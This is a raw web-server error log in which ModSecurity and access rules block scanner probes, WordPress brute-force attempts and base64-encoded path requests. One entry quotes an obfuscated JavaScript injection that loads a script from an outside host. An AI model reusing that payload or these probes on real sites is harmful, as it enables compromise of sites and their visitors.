74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:29.483818 2026] [security2:error] [pid 648189:tid 648334] [remote 216.73.216.223:23206] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3zkVWSojQL4F7upKB6bAAArG8"], referer: https://homs.co.ke/?action=adminer&p=Ly92YXIvc29mdGFjdWxvdXMvc2NobGl4 [Sat Jun 13 18:19:29.633018 2026] [access_compat:error] [pid 648189:tid 648241] [remote 57.141.14.107:39563] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:29.633272 2026] [access_compat:error] [pid 648189:tid 648241] [remote 57.141.14.107:39563] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:29.838403 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.109:22574] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:29.838678 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.109:22574] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:29.958760 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQ3L2lk [Sat Jun 13 18:19:29.959217 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQ3L2lk [Sat Jun 13 18:19:30.012788 2026] [security2:error] [pid 646876:tid 646909] [remote 17.22.253.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zkdyTkdrNlD40tSG6MwAAIh4"] [Sat Jun 13 18:19:30.027761 2026] [autoindex:error] [pid 648189:tid 648429] [client 195.96.139.243:43157] AH01276: Cannot serve directory /home2/vlwntvmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:19:30.047830 2026] [access_compat:error] [pid 648189:tid 648312] [remote 57.141.14.105:55436] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:30.048261 2026] [access_compat:error] [pid 648189:tid 648312] [remote 57.141.14.105:55436] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:30.316621 2026] [security2:error] [pid 646876:tid 647110] [client 45.86.200.28:39435] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 28.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/O-Simple.php"] [unique_id "ai3zktyTkdrNlD40tSG6OQAAAGY"] [Sat Jun 13 18:19:30.465879 2026] [security2:error] [pid 646876:tid 647074] [client 185.177.72.9:49212] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/scripts/phpinfo.php"] [unique_id "ai3zktyTkdrNlD40tSG6PAAAAEI"] [Sat Jun 13 18:19:30.473932 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:19:30.474260 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:19:30.480143 2026] [access_compat:error] [pid 646876:tid 646979] [remote 57.141.14.111:24188] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:30.480413 2026] [access_compat:error] [pid 646876:tid 646979] [remote 57.141.14.111:24188] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:30.741456 2026] [security2:error] [pid 648189:tid 648443] [client 185.177.72.9:49220] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/tmp/phpinfo.php"] [unique_id "ai3zklWSojQL4F7upKB6nAAAAN0"] [Sat Jun 13 18:19:30.973062 2026] [security2:error] [pid 648189:tid 648441] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/default-timezone-2.phpt"] [unique_id "ai3zklWSojQL4F7upKB6pgAAANw"] [Sat Jun 13 18:19:30.996179 2026] [access_compat:error] [pid 648189:tid 648336] [remote 57.141.14.77:20521] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:30.996710 2026] [access_compat:error] [pid 648189:tid 648336] [remote 57.141.14.77:20521] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:31.013097 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:19:31.013563 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:19:31.154311 2026] [security2:error] [pid 648189:tid 648432] [client 185.177.72.9:49224] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/webdav/phpinfo.php"] [unique_id "ai3zk1WSojQL4F7upKB6rgAAANM"] [Sat Jun 13 18:19:31.304468 2026] [security2:error] [pid 646876:tid 647013] [client 114.119.155.69:25005] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.daytonago.org"] [uri "/trumpetings/2012/201202_trumpetings.pdf"] [unique_id "ai3zk9yTkdrNlD40tSG6SAAAAAU"] [Sat Jun 13 18:19:31.534919 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:19:31.535188 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:19:31.581428 2026] [security2:error] [pid 648189:tid 648435] [client 185.177.72.9:49238] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/tools/phpinfo.php"] [unique_id "ai3zk1WSojQL4F7upKB6xAAAANY"] [Sat Jun 13 18:19:31.675278 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.101:21858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:31.675742 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.101:21858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:31.772174 2026] [security2:error] [pid 646876:tid 647050] [client 45.86.200.45:57915] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 45.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/lock360.php"] [unique_id "ai3zk9yTkdrNlD40tSG6UgAAACo"] [Sat Jun 13 18:19:31.803688 2026] [core:error] [pid 648189:tid 648251] (36)File name too long: [remote 34.72.67.219:57794] AH00036: access to /testing style=position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white; onmousemove=eval(String.fromCharCode(118, 97, 114, 32, 115, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 115, 115, 99, 114, 105, 112, 116, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 115, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 106, 115, 111, 110, 46, 115, 116, 114, 105, 110, 103, 101, 110, 103, 105, 110, 101, 115, 46, 99, 111, 109, 47, 106, 115, 111, 110, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 115, 99, 114, 105, 112, 116, 41, 59, 10)) data-x=/vehicle-wrap failed (filesystem path '/home4/adbadver/public_html/testing style=position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white; onmousemove=eval(String.fromCharCode(118, 97, 114, 32, 115, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 115, 115, 99, 114, 105, 112, 116, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 115, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 106, 115, 111, 110, 46, 115, 116, 114, 105, 110, 103, 101, 110, 103, 105, 110, 101, 115, 46, 99, 111, 109, 47, 106, 115, 111, 110, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 115, 99, 114, 105, 112, 116, 41, 59, 10)) data-x=') [Sat Jun 13 18:19:31.849747 2026] [security2:error] [pid 648189:tid 648323] [remote 209.87.149.26:31157] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ameritekwater.com"] [uri "/wp-login.php"] [unique_id "ai3zk1WSojQL4F7upKB6zgAAs2Q"] [Sat Jun 13 18:19:31.922036 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.86:49884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:31.922489 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.86:49884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:31.935732 2026] [security2:error] [pid 646876:tid 646938] [remote 17.246.15.102:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zk9yTkdrNlD40tSG6VAAAEDs"] [Sat Jun 13 18:19:32.098352 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:19:32.098663 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:19:32.201477 2026] [access_compat:error] [pid 648189:tid 648346] [remote 57.141.14.9:38924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:32.201787 2026] [access_compat:error] [pid 648189:tid 648346] [remote 57.141.14.9:38924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:32.411540 2026] [access_compat:error] [pid 646876:tid 646991] [remote 57.141.14.38:53135] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:32.411829 2026] [access_compat:error] [pid 646876:tid 646991] [remote 57.141.14.38:53135] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:32.618773 2026] [security2:error] [pid 648189:tid 648239] [remote 17.22.237.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zlFWSojQL4F7upKB69AAAthI"] [Sat Jun 13 18:19:32.679222 2026] [security2:error] [pid 648189:tid 648306] [remote 209.87.149.26:31157] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ameritekwater.com"] [uri "/wp-login.php"] [unique_id "ai3zlFWSojQL4F7upKB69QAAvlQ"], referer: https://ameritekwater.com/wp-login.php [Sat Jun 13 18:19:32.696436 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:19:32.696908 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 